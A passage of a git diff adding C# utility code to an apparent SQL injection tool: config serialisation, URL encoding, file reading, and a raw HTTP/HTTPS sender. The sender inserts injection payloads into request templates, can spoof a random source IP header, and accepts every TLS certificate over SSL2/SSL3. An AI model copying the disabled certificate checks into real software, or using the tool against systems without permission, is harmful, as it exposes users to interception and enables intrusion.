configPath) + { + Stream fStream = null; + try + { + XmlSerializer xml = new XmlSerializer(typeof(Config)); + //创建XML序列化器,需要指定对象的类型 + fStream = new FileStream(configPath, FileMode.Open, FileAccess.ReadWrite); + XmlTextReader reader = new XmlTextReader(fStream); + reader.Normalization = false; + Config config = (Config)xml.Deserialize(reader); + return config; + } + catch (Exception e) + { + + throw e; + } + finally { + if (fStream != null) { + + fStream.Close(); + } + } + } + + public static void saveDBS(String fileName, DataBase dbs) + { + Stream fStream = null; + try + { + fStream = new FileStream(fileName, FileMode.Create, FileAccess.ReadWrite); + //创建XML序列化器,需要指定对象的类型 + XmlSerializer xmlFormat = new XmlSerializer(typeof(DataBase)); + xmlFormat.Serialize(fStream, dbs); + } + catch (Exception e) + { + + throw e; + } + finally + { + if (fStream != null) + { + fStream.Close(); + } + + } + } + + public static DataBase readDBS(String path) + { + Stream fStream = null; + try + { + XmlSerializer xml = new XmlSerializer(typeof(DataBase)); + //创建XML序列化器,需要指定对象的类型 + fStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite); + XmlTextReader reader = new XmlTextReader(fStream); + reader.Normalization = false; + DataBase config = (DataBase)xml.Deserialize(reader); + return config; + } + catch (Exception e) + { + + throw e; + } + finally + { + if (fStream != null) + { + + fStream.Close(); + } + } + } + } +} diff --git a/SuperSQLInjection/tools/encode/URLEncode.cs b/SuperSQLInjection/tools/encode/URLEncode.cs new file mode 100644 index 0000000..c0234a2 --- /dev/null +++ b/SuperSQLInjection/tools/encode/URLEncode.cs @@ -0,0 +1,101 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.tools +{ + class URLEncode + { + + public static string UrlEncode(string sInput) + { + return UrlEncodeChars(sInput, Encoding.UTF8); + } + public static string UrlEncode(string sInput, Encoding oEnc) + { + return UrlEncodeChars(sInput, oEnc); + } + private static string UrlEncodeChars(string str, Encoding oEnc) + { + if (string.IsNullOrEmpty(str)) + { + return str; + } + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < str.Length; i++) + { + char c = str[i]; + if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || c == '-' || c == '.' || c == '(' || c == ')' || c == '*' || c == '\'' || c == '_' || c == '!') + { + stringBuilder.Append(c); + } + else + { + byte[] bytes = oEnc.GetBytes(new char[]{c}); + byte[] array = bytes; + for (int j = 0; j < array.Length; j++) + { + byte b = array[j]; + stringBuilder.Append("%"); + stringBuilder.Append(b.ToString("x2")); + } + } + } + return stringBuilder.ToString(); + } + // Fiddler.Utilities + public static string UrlPathEncode(string str) + { + if (string.IsNullOrEmpty(str)) + { + return str; + } + int num = str.IndexOf('?'); + if (num >= 0) + { + return UrlPathEncode(str.Substring(0, num)) + str.Substring(num); + } + return UrlPathEncodeChars(str); + } + + private static string UrlPathEncodeChars(string str) + { + if (string.IsNullOrEmpty(str)) + { + return str; + } + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < str.Length; i++) + { + char c = str[i]; + if (c > ' ' && c < '\u007f') + { + stringBuilder.Append(c); + } + else + { + if (c < '!') + { + stringBuilder.Append("%"); + stringBuilder.Append(((byte)c).ToString("X2")); + } + else + { + byte[] bytes = Encoding.UTF8.GetBytes(new char[] + { + c + }); + byte[] array = bytes; + for (int j = 0; j < array.Length; j++) + { + byte b = array[j]; + stringBuilder.Append("%"); + stringBuilder.Append(b.ToString("X2")); + } + } + } + } + return stringBuilder.ToString(); + } + } +} diff --git a/SuperSQLInjection/tools/encode/URLTools.cs b/SuperSQLInjection/tools/encode/URLTools.cs new file mode 100644 index 0000000..e49eea1 --- /dev/null +++ b/SuperSQLInjection/tools/encode/URLTools.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Text; +using model; + +namespace SuperSQLInjection.tools +{ + class URLTools + { + public static ServerInfo getHostAndPathQueryByURL(String url){ + + try + { + ServerInfo server = new ServerInfo(); + Uri uri = new Uri(url); + server.host = uri.Host; + server.url = uri.PathAndQuery; + server.port = uri.Port; + return server; + } + catch (Exception e) { + + throw e; + } + } + } +} diff --git a/SuperSQLInjection/tools/file/FileTool.cs b/SuperSQLInjection/tools/file/FileTool.cs new file mode 100644 index 0000000..1f99ee9 --- /dev/null +++ b/SuperSQLInjection/tools/file/FileTool.cs @@ -0,0 +1,217 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.IO; + +namespace tools +{ + class FileTool + { + public static List readAllDic(String dic) + { + List fs = new List(); + try + { + DirectoryInfo din = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory+"/"+dic); + FileInfo[] files = din.GetFiles(); + foreach (FileInfo f in files) + { + fs.Add(f.Name); + } + } + catch (Exception re) + { + Tools.SysLog(dic + "读取错误!" + re.Message); + } + return fs; + } + public static List readFileToList(String path) + { + + List list = new List(); + FileStream fs_dir = null; + StreamReader reader = null; + try + { + fs_dir = new FileStream(AppDomain.CurrentDomain.BaseDirectory + "/" + path, FileMode.Open, FileAccess.Read); + + reader = new StreamReader(fs_dir); + + String lineStr; + + while ((lineStr = reader.ReadLine()) != null) + { + if (!lineStr.Equals("")) + { + list.Add(lineStr); + } + } + } catch (Exception e) + { + Tools.SysLog(e.Message); + } + finally { + if (reader != null) + { + reader.Close(); + } + if (fs_dir != null) + { + fs_dir.Close(); + } + } + return list; + } + + public static HashSet readDomainToList(String path,Boolean isCleanExists) + { + + HashSet list = new HashSet(); + FileStream fs_dir = null; + StreamReader reader = null; + try + { + fs_dir = new FileStream(path, FileMode.Open, FileAccess.Read); + + reader = new StreamReader(fs_dir); + + String lineStr; + + while ((lineStr = reader.ReadLine()) != null) + { + if (!lineStr.Equals("")&&!lineStr.StartsWith("http")) { + lineStr = "http://" + lineStr; + } + if (list.Contains(lineStr) && isCleanExists) { + continue; + } + list.Add(lineStr); + + } + } + catch (Exception e) + { + Tools.SysLog(e.Message); + } + finally + { + if (reader != null) + { + reader.Close(); + } + if (fs_dir != null) + { + fs_dir.Close(); + } + } + return list; + } + + //读取文件 + public static String readFileToString(String path) + { + String str = ""; + FileStream fs_dir=null; + StreamReader reader = null; + try + { + fs_dir = new FileStream(AppDomain.CurrentDomain.BaseDirectory + "/" + path, FileMode.Open, FileAccess.Read); + reader = new StreamReader(fs_dir); + str = reader.ReadToEnd(); + } + catch (Exception e) + { + Tools.SysLog("readFileToString发生异常!"+e.Message); + }finally + { + if (reader != null) + { + reader.Close(); + } + if (fs_dir != null) + { + fs_dir.Close(); + } + } + return str; + + } + //读取文件 + public static Byte[] readFileToByte(String path,int a) + { + Byte[] buffer = null; + FileStream fs_dir=null; + StreamReader reader = null; + try + { + fs_dir = new FileStream(path, FileMode.Open, FileAccess.Read); + BinaryReader br = new BinaryReader(fs_dir); + int len = (int)fs_dir.Length; + + buffer = new byte[len]; + + int size = br.Read(buffer, 0, len); + + reader.Read(); + + } + catch (Exception e) + { + Tools.SysLog("readFileToByte-error:读取文件内容发生错误!"+e.Message); + }finally + { + if (reader != null) + { + reader.Close(); + } + if (fs_dir != null) + { + fs_dir.Close(); + } + } + return buffer; + + } + public static object c = ""; + public static String error = ""; + public static void AppendLogToFile(String path,String log) + { + //锁住,防止多线程引发错误 + lock (c) + { + List list = new List(); + FileStream fs_dir = null; + StreamWriter sw = null; + try + { + fs_dir = new FileStream(AppDomain.CurrentDomain.BaseDirectory + "/" + path, FileMode.Append, FileAccess.Write); + + sw = new StreamWriter(fs_dir); + + sw.WriteLine(log); + + sw.Close(); + + fs_dir.Close(); + + } + catch (Exception e) + { + error = "文件操作发生异常!" + e.Message; + } + finally + { + if (sw != null) + { + sw.Close(); + } + if (fs_dir != null) + { + fs_dir.Close(); + } + } + } + + } + } +} diff --git a/SuperSQLInjection/tools/http/HTTP.cs b/SuperSQLInjection/tools/http/HTTP.cs new file mode 100644 index 0000000..16d87bd --- /dev/null +++ b/SuperSQLInjection/tools/http/HTTP.cs @@ -0,0 +1,933 @@ +using System; +using System.Collections.Generic; +using System.Text; +using tools; +using System.Net; +using System.Net.Sockets; +using model; +using System.IO.Compression; +using System.IO; +using System.Net.Security; +using System.Text.RegularExpressions; +using System.Threading; +using System.Diagnostics; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using SuperSQLInjection.bypass; +using SuperSQLInjection.tools.http; +using System.Runtime.Serialization.Formatters.Binary; + +namespace SuperSQLInjection.tools +{ + public class HTTP + { + + public const char T = '\n'; + public const String CT = "\r\n"; + public const String AutoGetEncoding = "自动识别"; + public const String DefaultEncoding = "UTF-8"; + public const String CTRL = "\r\n\r\n"; + public const String Content_Length_Str = "content-length: "; + public const String Content_Length_Str_M = "Content-Length: "; + public const String Content_Length = "content-length"; + public const String Content_Encoding = "content-encoding"; + public const String Transfer_Encoding = "transfer-encoding"; + public const String Connection = "connection"; + public const int WaitTime =10; + public static Main main = null; + public static long index = 0; + + public static String getTemplate = "GET /mysql.jsp?id=1 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240\r\nAccept-Encoding: gzip, deflate\r\nHost: 127.0.0.1:8090\r\nConnection: Close\r\nCookie: JSESSIONID=2F6D5F1AC8C376FF0AB48A08282A6CED"; + public static String postTemplate = "POST /search/index.htm HTTP/1.1\r\nReferer: http://www.shack2.org/\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 5\r\nHost: www.shack2.org\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nCookie: CNZZDATA4159773=cnzz_eid%3D217492251-1446476958-%26ntime%3D1447834260; bdshare_firstime=1446476958863\r\n\r\nkey=s"; + public void initMain(Main m) + { + main = m; + } + + /** + * + 发生异常尝试重连 + * + */ + public static ServerInfo sendRequestRetry(Boolean isSSL, int tryCount, String host, int port, String payload, String request, int timeout, String encoding, Boolean foward_302,Boolean redirectDoGet) + { + int count = 0; + + ServerInfo server = new ServerInfo(); + timeout = timeout * 1000; + while (true) + { + if (count >tryCount) break; + + try + { + if (!isSSL) + { + server = sendHTTPRequest(count, host, port, payload, request, timeout, encoding, foward_302,redirectDoGet); + return server; + } + else + { + + server = sendHTTPSRequest(count, host, port, payload, request, timeout, encoding, foward_302, redirectDoGet); + return server; + + } + } + catch (Exception e) + { + Tools.SysLog("发包发生异常,正在重试----" + e.Message); + server.timeout = true; + continue; + } + finally + { + count++; + } + + } + return server; + + } + + private static void checkContentLength(ref ServerInfo server,ref String request) { + + //重新计算并设置Content-length + int sindex = request.IndexOf(CTRL); + server.reuqestHeader = request; + if (sindex != -1) + { + server.reuqestHeader = request.Substring(0, sindex); + server.reuqestBody = request.Substring(sindex + 4, request.Length - sindex - 4); + int contentLength = Encoding.UTF8.GetBytes(server.reuqestBody).Length; + String newContentLength = Content_Length_Str_M + contentLength; + //产生随机ip头 + if (!String.IsNullOrEmpty(main.config.randIPToHeader)) + { + request = request.Insert(sindex, "\r\n" + main.config.randIPToHeader + ": " + Tools.randIP()); + } + + if (request.IndexOf(Content_Length_Str_M) != -1) + { + request = Regex.Replace(request, Content_Length_Str_M + "\\d+", newContentLength); + } + else + { + request = request.Insert(sindex, "\r\n" + newContentLength); + } + } + else + { + //产生随机ip头 + if (!String.IsNullOrEmpty(main.config.randIPToHeader)) + { + request = request + "\r\n" + main.config.randIPToHeader + ": " + Tools.randIP(); + } + request = Regex.Replace(request, Content_Length_Str + "\\d+", Content_Length_Str_M + "0"); + request += CTRL; + } + + + } + + private static void doHeader(ref ServerInfo server, ref String[] headers, ref String encoding) + { + try + { + for (int i = 0; i < headers.Length; i++) + { + if (i == 0) + { + String[] codesplit = headers[i].Split(' '); + if (codesplit.Length > 0) + { + String[] sh = headers[i].Split(' '); + if (sh.Length > 1) { + server.code = Tools.convertToInt(sh[1]); + } + } + else { + server.code = 0; + } + } + else + { + String[] kv = Regex.Split(headers[i], ": "); + String key = kv[0].ToLower(); + if (!server.headers.ContainsKey(key)) + { + //自动识别编码 + if ("自动识别".Equals(encoding)) { + if ("content-type".Equals(key)) + { + String hecnode = getHTMLEncoding(kv[1], ""); + if (!String.IsNullOrEmpty(hecnode)) + { + server.encoding = hecnode; + } + } + } + + if (kv.Length > 1) + { + server.headers.Add(key, kv[1]); + } + else + { + server.headers.Add(key, ""); + } + } + } + } + } + catch (Exception e) { + throw e; + } + + + } + + private static ServerInfo sendHTTPRequest(int count, String host, int port, String payload, String request, int timeout, String encoding, Boolean foward_302,Boolean redirectDoGet) + { + Interlocked.Increment(ref HTTP.index); + String index = Thread.CurrentThread.Name+ Interlocked.Read(ref HTTP.index); + Stopwatch sw = new Stopwatch(); + sw.Start(); + ServerInfo server = new ServerInfo(); + TcpClient clientSocket = null; + int sum = 0; + Boolean isupdateEncoding = false; + try + { + if (port > 0 && port <= 65556) + { + + request = request.Replace(Main.setInjectStr, payload); + request = StringReplace.strReplaceCenter(main.config, request, main.replaceList); + //编码处理 + server.request = request; + TimeOutSocket tos = new TimeOutSocket(); + clientSocket = tos.Connect(host, port, timeout); + if (sw.ElapsedMilliseconds >= timeout) + { + return server; + } + clientSocket.SendTimeout = timeout - tos.useTime; + if (clientSocket.Connected) + { + checkContentLength(ref server, ref request); + server.request = request; + + byte[] requestByte = Encoding.UTF8.GetBytes(request); + clientSocket.Client.Send(requestByte); + byte[] responseBody = new byte[1024 * 1000]; + int len = 0; + //获取header头 + String tmp = ""; + StringBuilder sb = new StringBuilder(); + clientSocket.ReceiveTimeout = timeout - (int)sw.ElapsedMilliseconds; + do + { + byte[] responseHeader = new byte[1]; + len = clientSocket.Client.Receive(responseHeader, 1, SocketFlags.None); + if (len <= 0) { + Thread.Sleep(WaitTime); + } + if (len == 1) + { + + char c = (char)responseHeader[0]; + sb.Append(c); + if (c.Equals(T)) + { + tmp = String.Concat(sb[sb.Length - 4], sb[sb.Length - 3], sb[sb.Length - 2], c); + } + } + } while (!tmp.Equals(CTRL) && sw.ElapsedMilliseconds < timeout); + + server.header = sb.ToString().Replace(CTRL, ""); + String[] headers = Regex.Split(server.header, CT); + if (headers != null && headers.Length > 0) + { + //处理header + doHeader(ref server, ref headers, ref encoding); + //302 301跳转 + if ((server.code == 302 || server.code == 301) && foward_302) + { + StringBuilder rsb = new StringBuilder(server.request); + int urlStart = server.request.IndexOf(" ") + 1; + int urlEnd = server.request.IndexOf(" HTTP"); + if (urlStart != -1 && urlEnd != -1) + { + String url = server.request.Substring(urlStart, urlEnd - urlStart); + rsb.Remove(urlStart, url.Length); + String location = server.headers["location"]; + if (!server.headers["location"].StartsWith("/") && !server.headers["location"].StartsWith("http")) + { + location = Tools.getCurrentPath(url) + location; + } + location = location.Replace(" ", "%20"); + rsb.Insert(urlStart, location); + String newReuqest = rsb.ToString(); + if (server.request.StartsWith("POST") && redirectDoGet) { + rsb.Remove(0, 4); + rsb.Insert(0, "GET"); + } + return sendHTTPRequest(count, host, port, payload, rsb.ToString(), timeout, encoding, false, redirectDoGet); + } + + } + + + //根据请求头解析 + if (server.headers.ContainsKey(Content_Length)) + { + int length = int.Parse(server.headers[Content_Length]); + + while (sum < length && sw.ElapsedMilliseconds < timeout) + { + int readsize = length - sum; + len = clientSocket.Client.Receive(responseBody, sum, readsize, SocketFlags.None); + if (len > 0) + { + sum += len; + } + if(len<=0&& sum < length) { + Thread.Sleep(WaitTime); + } + } + } + //解析chunked传输 + else if (server.headers.ContainsKey(Transfer_Encoding)) + { + //读取长度 + int chunkedSize = 0; + byte[] chunkedByte = new byte[1]; + //读取总长度 + sum = 0; + do + { + String ctmp = ""; + do + { + len = clientSocket.Client.Receive(chunkedByte, 1, SocketFlags.None); + if(len<=0) { + Thread.Sleep(WaitTime); + } + ctmp += Encoding.UTF8.GetString(chunkedByte); + + } while ((ctmp.IndexOf(CT) == -1) && (sw.ElapsedMilliseconds < timeout)); + + chunkedSize = Tools.convertToIntBy16(ctmp.Replace(CT, "")); + + //chunked的结束0\r\n\r\n是结束标志,单个chunked块\r\n结束 + if (ctmp.Equals(CT)) + { + continue; + } + if (chunkedSize == 0) + { + //结束了 + break; + } + int onechunkLen = 0; + while (onechunkLen < chunkedSize && sw.ElapsedMilliseconds < timeout) + { + len = clientSocket.Client.Receive(responseBody, sum, chunkedSize - onechunkLen, SocketFlags.None); + if (len > 0) + { + onechunkLen += len; + sum += len; + } + if(len<=0&& onechunkLen < chunkedSize) + { + Thread.Sleep(WaitTime); + } + } + + //判断 + } while (sw.ElapsedMilliseconds < timeout); + } + //connection close方式或未知body长度 + else + { + while (sw.ElapsedMilliseconds < timeout) + { + if (clientSocket.Client.Poll(timeout, SelectMode.SelectRead)) + { + if (clientSocket.Available > 0) + { + len = clientSocket.Client.Receive(responseBody, sum, (1024 * 200) - sum, SocketFlags.None); + if (len > 0) + { + sum += len; + } + else + { + Thread.Sleep(WaitTime); + } + } + else + { + break; + } + } + } + } + + //自动识别编码 + if (AutoGetEncoding.Equals(encoding)) + { + if (!String.IsNullOrEmpty(server.encoding)) + { + encoding = server.encoding;//header找到编码 + } + else { + encoding = DefaultEncoding;//默认一个编码 + isupdateEncoding = true;//body找编码 + } + Encoding encod = Encoding.GetEncoding(encoding); + getBody(ref server, ref responseBody, ref sum, ref encod, ref index); + //修正编码 + if (isupdateEncoding) + { + String cEncoding = getHTMLEncoding("", server.body); + if (!String.IsNullOrEmpty(cEncoding)) + { + server.encoding = cEncoding;//body找到编码 + getBody(ref server, ref responseBody, ref sum, ref encod, ref index); + } + + } + } + else { + //指定编码 + Encoding encod = Encoding.GetEncoding(encoding); + getBody(ref server, ref responseBody, ref sum, ref encod, ref index); + } + + } + } + + } + } + catch (Exception e) + { + Exception ee = new Exception("HTTP发包错误!错误消息:" + e.Message + e.TargetSite.Name + "----发包编号:" + index); + throw ee; + } + finally + { + sw.Stop(); + server.length = sum; + server.runTime = (int)sw.ElapsedMilliseconds; + if (clientSocket != null) + { + clientSocket.Close(); + } + + if (main.config.isOpenHTTPLog) + { + server.sleepTime = main.config.sendHTTPSleepTime; + Tools.sysHTTPLog(index, server); + main.Invoke(new Main.sendHTTPLogDelegate(main.sendHTTPLog), index, server, payload); + } + if (main.config.sendHTTPSleepTime > 0) + { + Thread.Sleep(main.config.sendHTTPSleepTime); + } + } + return server; + + } + + + private static void getBody(ref ServerInfo server, ref byte[] responseBody, ref int sum, ref Encoding encod, ref String index) { + if (server.headers.ContainsKey(Content_Encoding)) + { + if (server.headers[Content_Encoding].IndexOf("gzip") != -1) + { + server.body = unGzip(responseBody, sum, encod, index); + } + else if (server.headers[Content_Encoding].IndexOf("deflate") != -1) + { + server.body = unDeflate(responseBody, sum, encod, index); + } + else { + server.body = encod.GetString(responseBody, 0,sum); + } + + } + else + { + server.body = encod.GetString(responseBody, 0, sum); + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { + return true; + } + private static ServerInfo sendHTTPSRequest(int count, String host, int port, String payload, String request, int timeout, String encoding, Boolean foward_302,Boolean redirectDoGet) + { + Interlocked.Increment(ref HTTP.index); + String index = Thread.CurrentThread.Name + Interlocked.Read(ref HTTP.index); + Stopwatch sw = new Stopwatch(); + sw.Start(); + ServerInfo server = new ServerInfo(); + Boolean isupdateEncoding = false; + int sum = 0; + + TcpClient clientSocket = null; ; + + try + { + + if (port > 0 && port <= 65556) + { + request = request.Replace(Main.setInjectStr, payload); + + //编码处理 + request = StringReplace.strReplaceCenter(main.config, request, main.replaceList); + + TimeOutSocket tos = new TimeOutSocket(); + clientSocket = tos.Connect(host, port, timeout); + if (sw.ElapsedMilliseconds >= timeout) + { + return server; + } + clientSocket.SendTimeout = timeout - tos.useTime; + + SslStream ssl = null; + if (clientSocket.Connected) + { + ssl = new SslStream(clientSocket.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate)); + SslProtocols protocol = SslProtocols.Ssl3 | SslProtocols.Ssl2 | SslProtocols.Tls; + ssl.AuthenticateAsClient(host, null, protocol, false); + if (ssl.IsAuthenticated) + { + checkContentLength(ref server, ref request); + server.request = request; + byte[] requestByte = Encoding.UTF8.GetBytes(request); + ssl.Write(requestByte); + ssl.Flush(); + } + } + server.request = request; + byte[] responseBody = new byte[1024 * 1000]; + int len = 0; + //获取header头 + String tmp = ""; + + StringBuilder sb = new StringBuilder(); + StringBuilder bulider = new StringBuilder(); + clientSocket.ReceiveTimeout = timeout - (int)sw.ElapsedMilliseconds; + do + { + byte[] responseHeader = new byte[1]; + int read = ssl.ReadByte(); + if (read <= 0) + { + Thread.Sleep(WaitTime); + } + char c = (char)read; + sb.Append(c); + if (c.Equals(T)) + { + tmp = String.Concat(sb[sb.Length - 4], sb[sb.Length - 3], sb[sb.Length - 2], c); + } + + } while (!tmp.Equals(CTRL) && sw.ElapsedMilliseconds < timeout); + + server.header = sb.ToString().Replace(CTRL, ""); + String[] headers = Regex.Split(server.header, CT); + //处理header + doHeader(ref server, ref headers,ref encoding); + //302 301跳转 + if ((server.code == 302 || server.code == 301) && foward_302) + { + + StringBuilder rsb = new StringBuilder(server.request); + int urlStart = server.request.IndexOf(" ") + 1; + int urlEnd = server.request.IndexOf(" HTTP"); + if (urlStart != -1 && urlEnd != -1) + { + String url = server.request.Substring(urlStart, urlEnd - urlStart); + rsb.Remove(urlStart, url.Length); + String location = server.headers["location"]; + if (!server.headers["location"].StartsWith("/") && !server.headers["location"].StartsWith("http")) + { + location = Tools.getCurrentPath(url) + location; + } + location = location.Replace(" ", "%20"); + rsb.Insert(urlStart, location); + String newReuqest = rsb.ToString(); + if (rsb.ToString().StartsWith("POST") && redirectDoGet) + { + rsb.Remove(0, 4); + rsb.Insert(0, "GET"); + } + + return sendHTTPSRequest(count, host, port, payload, rsb.ToString(), timeout, encoding, false, redirectDoGet); + } + + + + + } + + + //根据请求头解析 + if (server.headers.ContainsKey(Content_Length)) + { + int length = int.Parse(server.headers[Content_Length]); + while (sum < length && sw.ElapsedMilliseconds < timeout) + { + len = ssl.Read(responseBody, sum, length - sum); + if (len > 0) + { + sum += len; + } + if (len <= 0 && sum < length) + { + Thread.Sleep(WaitTime); + } + } + } + //解析chunked传输 + else if (server.headers.ContainsKey(Transfer_Encoding)) + { + //读取长度 + int chunkedSize = 0; + byte[] chunkedByte = new byte[1]; + //读取总长度 + sum = 0; + do + { + String ctmp = ""; + do + { + len = ssl.Read(chunkedByte, 0, 1); + if (len <= 0) + { + Thread.Sleep(WaitTime); + } + ctmp += Encoding.UTF8.GetString(chunkedByte); + + } while (ctmp.IndexOf(CT) == -1 && sw.ElapsedMilliseconds < timeout); + + chunkedSize = Tools.convertToIntBy16(ctmp.Replace(CT, "")); + + //chunked的结束0\r\n\r\n是结束标志,单个chunked块\r\n结束 + if (ctmp.Equals(CT)) + { + continue; + } + if (chunkedSize == 0) + { + //结束了 + break; + } + int onechunkLen = 0; + + while (onechunkLen < chunkedSize && sw.ElapsedMilliseconds < timeout) + { + len = ssl.Read(responseBody, sum, chunkedSize - onechunkLen); + if (len > 0) + { + onechunkLen += len; + sum += len; + } + if (len <= 0 && onechunkLen < chunkedSize) + { + Thread.Sleep(WaitTime); + } + } + + //判断 + } while (sw.ElapsedMilliseconds < timeout); + } + //connection close方式或未知body长度 + else + { + while (sw.ElapsedMilliseconds < timeout) + { + if (clientSocket.Client.Poll(timeout, SelectMode.SelectRead)) + { + if (clientSocket.Available > 0) + { + len = ssl.Read(responseBody, sum, (1024 * 200) - sum); + if (len > 0) + { + sum += len; + } + else + { + Thread.Sleep(WaitTime); + } + } + else + { + break; + } + } + } + } + //自动识别编码 + if (AutoGetEncoding.Equals(encoding)) + { + if (!String.IsNullOrEmpty(server.encoding)) + { + encoding = server.encoding;//header找到编码 + } + else { + encoding = DefaultEncoding;//默认一个编码 + isupdateEncoding = true;//body找编码 + } + Encoding encod = Encoding.GetEncoding(encoding); + getBody(ref server, ref responseBody, ref sum, ref encod, ref index); + //修正编码 + if (isupdateEncoding) + { + String cEncoding = getHTMLEncoding("", server.body); + if (!String.IsNullOrEmpty(cEncoding)) + { + server.encoding = cEncoding;//body找到编码 + getBody(ref server, ref responseBody, ref sum, ref encod, ref index); + } + + } + } + else { + //指定编码 + Encoding encod = Encoding.GetEncoding(encoding); + getBody(ref server, ref responseBody, ref sum, ref encod, ref index); + } + } + + } + catch (Exception e) + { + Exception ee = new Exception("HTTPS发包错误!错误消息:" + e.Message + "----发包编号:" + index); + if (ee.Message.IndexOf("doHeader") != -1) { + String a=e.Message; + } + throw ee; + } + finally + { + sw.Stop(); + server.length = sum; + server.runTime = (int)sw.ElapsedMilliseconds; + + if (clientSocket != null) + { + clientSocket.Close(); + } + + if (main.config.isOpenHTTPLog) + { + server.sleepTime = main.config.sendHTTPSleepTime; + Tools.sysHTTPLog(index, server); + main.Invoke(new Main.sendHTTPLogDelegate(main.sendHTTPLog), index, server, payload); + } + if (main.config.sendHTTPSleepTime > 0) + { + Thread.Sleep(main.config.sendHTTPSleepTime); + } + } + return server; + + } + + public static String unGzip(byte[] data, int len, Encoding encoding,String index) + { + + String str = ""; + MemoryStream ms = new MemoryStream(data, 0, len); + GZipStream gs = new GZipStream(ms, CompressionMode.Decompress); + MemoryStream outbuf = new MemoryStream(); + byte[] block = new byte[1024]; + + try + { + while (true) + { + int bytesRead = gs.Read(block, 0, block.Length); + if (bytesRead <= 0) + { + break; + } + else + { + outbuf.Write(block, 0, bytesRead); + } + } + str = encoding.GetString(outbuf.ToArray()); + } + catch (Exception e) + { + Tools.SysLog("解压Gzip发生异常----" + e.Message+"----"+ index); + + } + finally + { + outbuf.Close(); + gs.Close(); + ms.Close(); + + } + return str; + + } + + public static String unDeflate(byte[] data, int len, Encoding encoding, String index) + { + + String str = ""; + MemoryStream ms = new MemoryStream(data, 0, len); + DeflateStream ds = new DeflateStream(ms, CompressionMode.Decompress); + MemoryStream outbuf = new MemoryStream(); + byte[] block = new byte[1024]; + + try + { + while (true) + { + int bytesRead = ds.Read(block, 0, block.Length); + if (bytesRead <= 0) + { + break; + } + else + { + outbuf.Write(block, 0, bytesRead); + } + } + str = encoding.GetString(outbuf.ToArray()); + } + catch (Exception e) + { + Tools.SysLog("解压deflate发生异常----" + e.Message + "----" + index); + + } + finally + { + outbuf.Close(); + ds.Close(); + ms.Close(); + + } + return str; + + } + + + public String SetCookies(string sHtml, String sCookies) + { + + //Set-Cookie: b_110128=0; domain=.qidian.com; expires=Fri, 15-Sep-2023 15:48:41 GMT; path=/ + + string sName = ""; + + string sValue = ""; + + MatchCollection mc; + + Match m; + + Regex r; + + if (!sCookies.EndsWith(";") && sCookies != "") + { + + sCookies += ";"; + + } + + r = new Regex("Set-Cookie:\\s*(?.*?)=(?.*?);", RegexOptions.Compiled | RegexOptions.Singleline | RegexOptions.IgnoreCase); + + mc = r.Matches(sHtml); + + for (int i = 0; i < mc.Count; i++) + { + + sName = mc[i].Groups["sName"].Value.Trim(); + + sValue = mc[i].Groups["sValue"].Value.Trim(); + + r = new Regex(sName + "\\s*=\\s*.*?;", RegexOptions.Compiled | RegexOptions.Singleline | RegexOptions.IgnoreCase); + + m = r.Match(sCookies); + + if (m.Success) + { + + sCookies = sCookies.Replace(m.Value, sName + "=" + sValue + ";"); + + } + + else + { + + sCookies += sName + "=" + sValue + ";"; + + } + + } + + try + { + + if (sCookies.StartsWith(";")) + { + + sCookies = sCookies.Substring(1, sCookies.Length - 1); + + } + + } + + catch + { + + } + return sCookies; + + } + + public static String getHTMLEncoding(String header, String body) + { + if (String.IsNullOrEmpty(header)&& String.IsNullOrEmpty(body)) + { + return ""; + } + body = body.ToUpper(); + + String encode = ""; + Match m = Regex.Match(header, @"charset=(?[\w\-]+)", RegexOptions.IgnoreCase); + if (m.Success) + { + encode=m.Groups["charset"].Value.ToUpper(); + } + else + { + if (String.IsNullOrEmpty(body)) + { + return ""; + } + m = Regex.Match(body, @"charset=['""]{0,1}(?[\w\-]+)['""]{0,1}", RegexOptions.IgnoreCase); + if (m.Success) + { + encode=m.Groups["charset"].Value.ToUpper(); + } + } + if ("UTF8".Equals(encode)) { + encode = "UTF-8"; + } + return encode; + + + } + } +} \ No newline at end of file diff --git a/SuperSQLInjection/tools/http/HTTPRequest.cs b/SuperSQLInjection/tools/http/HTTPRequest.cs new file mode 100644 index 0000000..95409f1 --- /dev/null +++ b/SuperSQLInjection/tools/http/HTTPRequest.cs @@ -0,0 +1,135 @@ +using model; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; +using tools; + +namespace SuperSQLInjection.tools +{ + class HTTPRequest + { + public static ServerInfo getHtmlByPost(String url, String data,String referer,String cookies) + { + ServerInfo server = new ServerInfo(); + HttpWebResponse response = null; + StreamReader sr = null; + HttpWebRequest request = null; + + try + { + //设置模拟http访问参数 + Uri uri = new Uri(url); + request = (HttpWebRequest)WebRequest.Create(uri); + request.Method = "POST"; + request.UserAgent = "Mozilla/5.0"; + request.ContentType = "application/x-www-form-urlencoded"; + request.Timeout = 30000; + request.KeepAlive = true; + if (referer != null) { + request.Referer = referer; + } + request.AllowAutoRedirect = false; + if (!"".Equals(cookies)) + { + request.Headers.Add("Cookie", cookies); + } + byte[] bydata = Encoding.ASCII.GetBytes(data); + request.ContentLength = bydata.Length; + Stream reqStream = request.GetRequestStream(); + reqStream.Write(bydata, 0, bydata.Length); + reqStream.Close(); + response = (HttpWebResponse)request.GetResponse(); + CookieCollection cc = 